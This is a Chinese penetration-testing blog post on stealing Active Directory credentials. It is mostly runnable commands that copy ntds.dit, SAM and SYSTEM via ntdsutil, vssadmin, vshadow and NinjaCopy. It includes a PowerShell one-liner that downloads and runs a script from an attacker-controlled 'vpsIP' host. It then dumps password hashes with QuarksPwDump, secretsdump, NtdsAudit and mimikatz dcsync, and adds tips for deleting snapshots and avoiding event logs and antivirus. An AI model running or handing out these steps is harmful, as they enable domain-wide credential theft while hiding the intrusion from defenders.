域内密码凭证获取

发布于 2021-03-30  848 次阅读


《渗透测试》目录

Volume Shadow Copy

1.活动目录数据库

    ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件与ntds.dit文件都需要拥有一个system文件

    AD DS数据存储:

  • 由 ntds.dit 文件构成
  • 默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
  • 只能通过域控制器进程和协议访问    

由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。

(注:ntds.dit文件位置:%SystemRoot%\NTDS\ntdds.dit(只在域环境) system文件位置:%SystemRoot%\System32\config\SYSTEM sam文件位置:%SystemRoot%\System32\config\SAM)

2.Volume Shadow Copy Service

    Volume Shadow Copy Service (VSS) 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。

  • 用于数据备份
  • 支持Windows Server 2003 及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
  • 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

----获取ntds.dit - Ntdsutil

  • 交互式获取ntds.dit    
ntdsutil    
snapshot    
activate instance ntds    
create    
mount [GUID]    

创建快照

挂载到C盘

将目标文件复制到桌面

命令行去复制目标文件

unmout [GUID] //copy 完之后再执行卸载
del [GUID]
quit
quit

卸载快照以清楚痕迹

  • 非交互

1. 查询当前系统的快照    

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

2. 创建快照    

ntdsutil snapshot "activate instance ntds" create quit quit

3. 挂载快照

ntdsutil snapshot “mount {b22b5b27-f20c-452f-bfc4-5ad2d513e765}”quit quit

4. 复制ntds.dit

copy C:\$SNAP_202101201336_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

5. 卸载快照

ntdsutil snapshot "unmount {b22b5b27-f20c-452f-bfc4-5ad2d513e765}" quit quit

6. 删除快照

ntdsutil snapshot "delete {b22b5b27-f20c-452f-bfc4-5ad2d513e765}" quit quit

----获取ntds.dit - Ntdsutil - InstallFromMedia

  • 交互式
ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit
  • 非交互
ntdsutil "activate instance ntds" ifm “create full C:\ntds” quit quit

----获取ntds.dit - vssadmin

    VssAdmin:是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。

  • 用于创建或删除卷影副本,列出卷影副本的信息
  • 用于显示所有安装的所有卷影副本写入程序和提供程序
  • 改变卷影副本存储空间的大小等

1. 查询当前系统的快照

vssadmin list shadows

2. 创建快照

vssadmin create shadow /for=c:

3. 获得Shadow Copy Volume Name(获取名称以便后面复制,但卷影文件不会在C盘中显示)

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21        (就相当于C:\)

4. 复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21\windows\NTDS\ntds.dit c:\ntds2.dit

5. 删除快照

vssadmin delete shadows /for=c: /quiet    (若忘记目录可使用下面一条命令)
vssadmin delete Shadows /All /quiet        (渗透时在使用前查看原来的卷影是否有用)

----获取ntds.dit - vshadow(若前面的方法在本地策略中被禁用,则可上传使用此工具进行获取,官方工具,不会被杀)

    Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具。

1. 查询当前系统的快照

vshadow.exe -q

2. 创建快照

vshadow.exe -p -nw C:

参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
获得SnapshotSetID(用于删除)、SnapshotID、Shadow copy device name(用于复制)

3. 复制ntds.dit

copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit

4. 删除快照

vshadow -dx=ShadowCopySetId

----获取ntds.dit - 拓展 - 日志信息

    调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036

    执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件

----获取ntds.dit - 拓展 - mklink

  • 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\test\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
删除符号链接:
rd c:\testvsc

NinjaCopy    

NinjaCopy(是一个powershell脚本,不访问vss服务,不会留下日志)    

通过NinjaCopy获得域控服务器NTDS.dit文件    

没有调用Volume Shadow Copy服务,所以不会产生日志文件7036。

Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit
  • NinjaCopy - cobaltstrike
powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
  • NinjaCopy - 远程加载(加载到内存中执行)
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit

解密ntds.dit

QuarkPwDump:Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。(此方法不可分离到本地进行破解,因为没有用system文件进行解密)

1. 修复复制出来的数据库文件(必须执行的前置命令)(后面那些工具也需这条命令进行修复)    esentutl /p /o ntds.dit

esentutl /p /o ntds.dit

2. 使用QuarksPwDump直接读取信息并将结果导出至文件(获取哈希)

QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit

secretsdump

impacket 套件中的 secretsdump.py 脚本解密,速度有点慢

secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NtdsAudit    

NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。

将ntds.dit文件和SYSTEM文件放在同一目录下执行命令
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv

mimikatz

Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

  • 通过dcsync直接获取de1ay域内所有用户hash

lsadump::dcsync /domain:de1ay.com /all /csv

  • 获取单个用户的详细信息

lsadump::dcsync /domain:de1ay.com /user:krbtgt

  • 查看所有用户的所有详细信息

privilege::debug    

lsadump::lsa /inject


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。